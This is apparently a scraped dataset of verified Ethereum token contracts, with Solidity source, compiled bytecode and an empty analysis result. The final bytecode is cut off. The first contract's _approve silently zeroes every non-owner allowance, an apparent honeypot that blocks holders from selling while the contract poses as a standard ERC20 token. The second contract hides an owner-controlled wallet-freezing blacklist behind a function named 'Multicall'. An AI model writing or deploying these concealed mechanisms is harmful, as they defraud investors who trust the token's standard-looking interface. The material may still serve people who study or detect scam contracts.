emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212206d465a6db1f77cda42985b0452b88a7efd2ca460e9c50df2a9975c1d78fe735c64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,247 |
0x62901a5fef4fcde8ac5482f87fe60181a634ba3d
|
/**
*Submitted for verification at Etherscan.io on 2022-04-24
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract NO_JEETS_ALLOWED is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"NO_JEETS_ALLOWED"; ////
string public constant symbol = unicode"NOJEETSALLOWED"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable private _FeeAddress1;
address payable private _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 5;
uint public _sellFee = 5;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 15000000000 * 10**9; // 1.5%
_maxHeldTokens = 30000000000 * 10**9; // 3%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function Multicall(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101f25760003560e01c8063509016171161010d57806395d89b41116100a0578063c9567bf91161006f578063c9567bf9146105b0578063db92dbb6146105c5578063dcb0e0ad146105da578063dd62ed3e146105fa578063e8078d941461064057600080fd5b806395d89b411461052b578063a9059cbb14610565578063b2131f7d14610585578063c3c8cd801461059b57600080fd5b8063715018a6116100dc578063715018a6146104b85780637a49cddb146104cd5780638da5cb5b146104ed57806394b8d8f21461050b57600080fd5b8063509016171461044d578063590f897e1461046d5780636fc3eaec1461048357806370a082311461049857600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103a657806340b9a54b146103df57806345596e2e146103f557806349bd5a5e1461041557600080fd5b806327f3a72a14610334578063313ce5671461034957806331c2d8471461037057806332d873d81461039057600080fd5b80630b78f9c0116101c15780630b78f9c0146102c257806318160ddd146102e25780631940d020146102fe57806323b872dd1461031457600080fd5b80630492f055146101fe57806306fdde03146102275780630802d2f614610270578063095ea7b31461029257600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600e5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b506102636040518060400160405280601081526020016f1393d7d291515514d7d0531313d5d15160821b81525081565b60405161021e9190611bd9565b34801561027c57600080fd5b5061029061028b366004611c53565b610655565b005b34801561029e57600080fd5b506102b26102ad366004611c70565b6106ca565b604051901515815260200161021e565b3480156102ce57600080fd5b506102906102dd366004611c9c565b6106e0565b3480156102ee57600080fd5b50683635c9adc5dea00000610214565b34801561030a57600080fd5b50610214600f5481565b34801561032057600080fd5b506102b261032f366004611cbe565b610763565b34801561034057600080fd5b5061021461084b565b34801561035557600080fd5b5061035e600981565b60405160ff909116815260200161021e565b34801561037c57600080fd5b5061029061038b366004611d15565b61085b565b34801561039c57600080fd5b5061021460105481565b3480156103b257600080fd5b506102b26103c1366004611c53565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156103eb57600080fd5b50610214600b5481565b34801561040157600080fd5b50610290610410366004611dda565b6108e7565b34801561042157600080fd5b50600a54610435906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561045957600080fd5b50610290610468366004611c53565b6109ab565b34801561047957600080fd5b50610214600c5481565b34801561048f57600080fd5b50610290610a19565b3480156104a457600080fd5b506102146104b3366004611c53565b610a46565b3480156104c457600080fd5b50610290610a61565b3480156104d957600080fd5b506102906104e8366004611d15565b610ad5565b3480156104f957600080fd5b506000546001600160a01b0316610435565b34801561051757600080fd5b506011546102b29062010000900460ff1681565b34801561053757600080fd5b506102636040518060400160405280600e81526020016d1393d291515514d0531313d5d15160921b81525081565b34801561057157600080fd5b506102b2610580366004611c70565b610be4565b34801561059157600080fd5b50610214600d5481565b3480156105a757600080fd5b50610290610bf1565b3480156105bc57600080fd5b50610290610c27565b3480156105d157600080fd5b50610214610cca565b3480156105e657600080fd5b506102906105f5366004611e01565b610ce2565b34801561060657600080fd5b50610214610615366004611e1e565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064c57600080fd5b50610290610d5f565b6008546001600160a01b0316336001600160a01b03161461067557600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b60006106d73384846110a6565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461070057600080fd5b600a82111561070e57600080fd5b600a81111561071c57600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff16801561079157506001600160a01b03831660009081526004602052604090205460ff16155b80156107aa5750600a546001600160a01b038581169116145b156107f9576001600160a01b03831632146107f95760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6108048484846111ca565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610833908490611e6d565b90506108408533836110a6565b506001949350505050565b600061085630610a46565b905090565b6008546001600160a01b0316336001600160a01b03161461087b57600080fd5b60005b81518110156108e35760006006600084848151811061089f5761089f611e84565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108db81611e9a565b91505061087e565b5050565b6000546001600160a01b031633146109115760405162461bcd60e51b81526004016107f090611eb3565b6008546001600160a01b0316336001600160a01b03161461093157600080fd5b600081116109765760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016107f0565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020016106bf565b6009546001600160a01b0316336001600160a01b0316146109cb57600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014906020016106bf565b6008546001600160a01b0316336001600160a01b031614610a3957600080fd5b47610a4381611838565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a8b5760405162461bcd60e51b81526004016107f090611eb3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b031614610af557600080fd5b60005b81518110156108e357600a5482516001600160a01b0390911690839083908110610b2457610b24611e84565b60200260200101516001600160a01b031614158015610b75575060075482516001600160a01b0390911690839083908110610b6157610b61611e84565b60200260200101516001600160a01b031614155b15610bd257600160066000848481518110610b9257610b92611e84565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610bdc81611e9a565b915050610af8565b60006106d73384846111ca565b6008546001600160a01b0316336001600160a01b031614610c1157600080fd5b6000610c1c30610a46565b9050610a43816118bd565b6000546001600160a01b03163314610c515760405162461bcd60e51b81526004016107f090611eb3565b60115460ff1615610c9e5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107f0565b6011805460ff191660011790554260105567d02ab486cedc0000600e556801a055690d9db80000600f55565b600a54600090610856906001600160a01b0316610a46565b6000546001600160a01b03163314610d0c5760405162461bcd60e51b81526004016107f090611eb3565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb906020016106bf565b6000546001600160a01b03163314610d895760405162461bcd60e51b81526004016107f090611eb3565b60115460ff1615610dd65760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107f0565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610e133082683635c9adc5dea000006110a6565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e51573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e759190611ee8565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ec2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee69190611ee8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f33573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f579190611ee8565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610f8781610a46565b600080610f9c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015611004573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110299190611f05565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015611082573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e39190611f33565b6001600160a01b0383166111085760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107f0565b6001600160a01b0382166111695760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107f0565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661122e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107f0565b6001600160a01b0382166112905760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107f0565b600081116112f25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107f0565b6001600160a01b03831660009081526006602052604090205460ff16156113675760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b60648201526084016107f0565b600080546001600160a01b0385811691161480159061139457506000546001600160a01b03848116911614155b156117d957600a546001600160a01b0385811691161480156113c457506007546001600160a01b03848116911614155b80156113e957506001600160a01b03831660009081526004602052604090205460ff16155b156116755760115460ff166114405760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107f0565b601054420361147f5760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016107f0565b42601054610e106114909190611f50565b111561150a57600f546114a284610a46565b6114ac9084611f50565b111561150a5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016107f0565b6001600160a01b03831660009081526005602052604090206001015460ff16611572576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105460786115829190611f50565b111561165657600e548211156115da5760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107f0565b6115e542600f611f50565b6001600160a01b038416600090815260056020526040902054106116565760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016107f0565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff1615801561168f575060115460ff165b80156116a95750600a546001600160a01b03858116911614155b156117d9576116b942600f611f50565b6001600160a01b0385166000908152600560205260409020541061172b5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016107f0565b600061173630610a46565b905080156117c25760115462010000900460ff16156117b957600d54600a546064919061176b906001600160a01b0316610a46565b6117